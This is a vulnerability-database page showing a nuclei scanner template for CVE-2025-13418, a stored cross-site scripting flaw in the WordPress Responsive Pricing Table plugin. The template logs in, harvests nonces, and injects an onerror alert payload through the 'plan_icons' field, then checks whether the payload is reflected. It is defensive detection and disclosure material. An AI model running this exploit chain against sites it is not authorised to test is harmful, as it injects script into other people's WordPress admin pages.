Lucene search
+L

Responsive Pricing Table <= 5.1.12 - Cross-Site Scripting

🗓️ 22 Jul 2026 04:31:02Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 25 Views

Stored cross-site scripting in Responsive Pricing Table up to 5.1.12; authenticated authors can inject scripts; update to 5.1.13.

Related
Refs
Code
id: CVE-2025-13418

info:
  name: Responsive Pricing Table <= 5.1.12 - Cross-Site Scripting
  author: Shivam Kamboj,Jay Jani
  severity: medium
  description: |
    The Responsive Pricing Table plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'plan_icons' parameter in all versions up to, and including, 5.1.12 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts that execute when an admin views the pricing table edit page.
  impact: |
    Authenticated authors can inject scripts that execute in users' browsers, potentially stealing data or performing actions on behalf of users.
  remediation: |
    Update the Responsive Pricing Table plugin to version 5.1.13 or later.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/5d28fd23-fa86-4353-b1b4-af61192f8482
    - https://wordpress.org/plugins/dk-pricr-responsive-pricing-table/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-13418
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 6.4
    cve-id: CVE-2025-13418
    epss-score: 0.00598
    epss-percentile: 0.44774
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 5
    vendor: wpdarko
    product: responsive-pricing-table
    framework: wordpress
  tags: cve,cve2025,wordpress,wp,wp-plugin,xss,responsive-pricing-table,authenticated

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, 'wordpress_logged_in')
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/post-new.php?post_type=rpt_pricing_table HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, 'dmb_rpts_meta_box_nonce')"
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        name: wpnonce
        group: 1
        regex:
          - 'name="_wpnonce"[^>]*value="([^"]+)"'
        internal: true

      - type: regex
        part: body
        name: dmb_nonce
        group: 1
        regex:
          - 'name="dmb_rpts_meta_box_nonce"[^>]*value="([^"]+)"'
        internal: true

      - type: regex
        part: body
        name: post_id
        group: 1
        regex:
          - "id=['\"]post_ID['\"][^>]*value=['\"]([0-9]+)['\"]"
        internal: true

      - type: regex
        part: body
        name: meta_nonce
        group: 1
        regex:
          - 'name="meta-box-order-nonce"[^>]*value="([^"]+)"'
        internal: true

      - type: regex
        part: body
        name: closed_nonce
        group: 1
        regex:
          - 'name="closedpostboxesnonce"[^>]*value="([^"]+)"'
        internal: true

  - raw:
      - |
        POST /wp-admin/post.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _wpnonce={{wpnonce}}&_wp_http_referer=%2Fwp-admin%2Fpost-new.php%3Fpost_type%3Drpt_pricing_table&user_ID=1&action=editpost&originalaction=editpost&post_author=1&post_type=rpt_pricing_table&original_post_status=auto-draft&auto_draft=1&post_ID={{post_id}}&meta-box-order-nonce={{meta_nonce}}&closedpostboxesnonce={{closed_nonce}}&post_title=CVE-2025-13418+XSS+Test&hidden_post_status=draft&post_status=publish&visibility=public&publish=Publish&dmb_rpts_meta_box_nonce={{dmb_nonce}}&plan_titles%5B%5D=XSS+Test+Plan&plan_subtitles%5B%5D=&plan_recurrences%5B%5D=&plan_prices%5B%5D=99&plan_descriptions%5B%5D=&plan_features%5B%5D=Feature&plan_button_texts%5B%5D=Buy&plan_button_urls%5B%5D=&plan_custom_buttons%5B%5D=&plan_colors%5B%5D=%238dba09&are_recommended_plans%5B%5D=no&are_removed_currencies%5B%5D=no&plan_custom_classes%5B%5D=&plan_icons%5B%5D=x%27+onerror%3D%27alert%28document.domain%29%27+x%3D%27&table_currency=%24

    matchers:
      - type: dsl
        dsl:
          - "status_code == 302"
          - "contains(header, 'message=')"
        condition: and
        internal: true

    extractors:
      - type: regex
        part: header
        name: created_post_id
        group: 1
        regex:
          - 'post=([0-9]+)&action=edit'
        internal: true

  - raw:
      - |
        GET /wp-admin/post.php?post={{created_post_id}}&action=edit HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains(body, " onerror=&#039;alert(document.domain)&#039;")
          - contains(body, "dmb_icon_data_url")
          - status_code == 200
        condition: and
# digest: 4a0a00473045022100dc4d8da7654a4f963ab93db9242dfda634caa6d4f65a27096af02a6b0d6ea20102205d1b553cc51320ed46edb352feba60fcd0e1a88c3b6d6cb726ee4c30f46b879c:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation